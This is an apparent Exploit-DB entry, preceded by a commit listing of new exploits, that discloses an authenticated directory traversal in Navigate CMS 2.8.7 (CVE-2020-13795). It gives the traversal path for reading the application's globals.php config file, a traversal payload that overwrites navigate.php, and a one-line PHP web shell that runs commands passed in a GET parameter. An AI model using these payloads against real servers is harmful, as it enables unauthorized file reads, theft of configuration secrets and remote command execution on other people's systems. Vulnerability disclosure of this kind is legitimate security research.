533f33f3f4
17 changes to exploits/shellcodes IObit Uninstaller 9.5.0.15 - 'IObit Uninstaller Service' Unquoted Service Path AirControl 1.4.2 - PreAuth Remote Code Execution Hostel Management System 2.0 - 'id' SQL Injection (Unauthenticated) Clinic Management System 1.0 - Unauthenticated Remote Code Execution Navigate CMS 2.8.7 - ''sidx' SQL Injection (Authenticated) Oriol Espinal CMS 1.0 - 'id' SQL Injection Clinic Management System 1.0 - Authenticated Arbitrary File Upload Navigate CMS 2.8.7 - Cross-Site Request Forgery (Add Admin) VMWAre vCloud Director 9.7.0.15498291 - Remote Code Execution Navigate CMS 2.8.7 - Authenticated Directory Traversal D-Link DIR-615 T1 20.10 - CAPTCHA Bypass Online Marriage Registration System 1.0 - Remote Code Execution Cayin Content Management Server 11.0 - Remote Command Injection (root) SnapGear Management Console SG560 3.1.5 - Cross-Site Request Forgery (Add Super User) Secure Computing SnapGear Management Console SG560 3.1.5 - Arbitrary File Read Cayin Signage Media Player 3.0 - Remote Command Injection (root) Cayin Digital Signage System xPost 2.5 - Remote Command Injection
29 lines
No EOL
1.2 KiB
Text
29 lines
No EOL
1.2 KiB
Text
# Exploit Title: Navigate CMS 2.8.7 - Authenticated Directory Traversal
|
|
# Date: 2020-06-04
|
|
# Exploit Author: Gus Ralph
|
|
# Vendor Homepage: https://www.navigatecms.com/en/home
|
|
# Software Link: https://sourceforge.net/projects/navigatecms/files/releases/navigate-2.8.7r1401.zip/download
|
|
# Version: 2.8.7
|
|
# Tested on: Ubuntu
|
|
# CVE: CVE-2020-13795
|
|
|
|
A malicious user can abuse the authenticated templates functionality to traverse out of the templates directory to read and write to any file on the webserver as www-data.
|
|
|
|
For this vulnerability, I looked into the "templates" feature of the application. It seems we can edit any file in the application's templates directory, for example:
|
|
`/var/www/html/navigate/private/1/templates/`
|
|
|
|
My initial thought was to traverse out of the current directory and read the global config file (located at `/var/www/html/navigate/cfg/globals.php`).
|
|
|
|
My payload would then consist of creating a template, setting the path to be `/var/www/html/navigate/private/1/templates/../../../cfg/globals.php`
|
|
|
|
Furthermore, this can be abused to write to a PHP file and gain RCE on the remote server, for example:
|
|
|
|
Traversal payload:
|
|
`../../../navigate.php`
|
|
|
|
PHP Code execution payload:
|
|
```
|
|
<?php
|
|
system($_GET['cmd']);
|
|
?>
|
|
``` |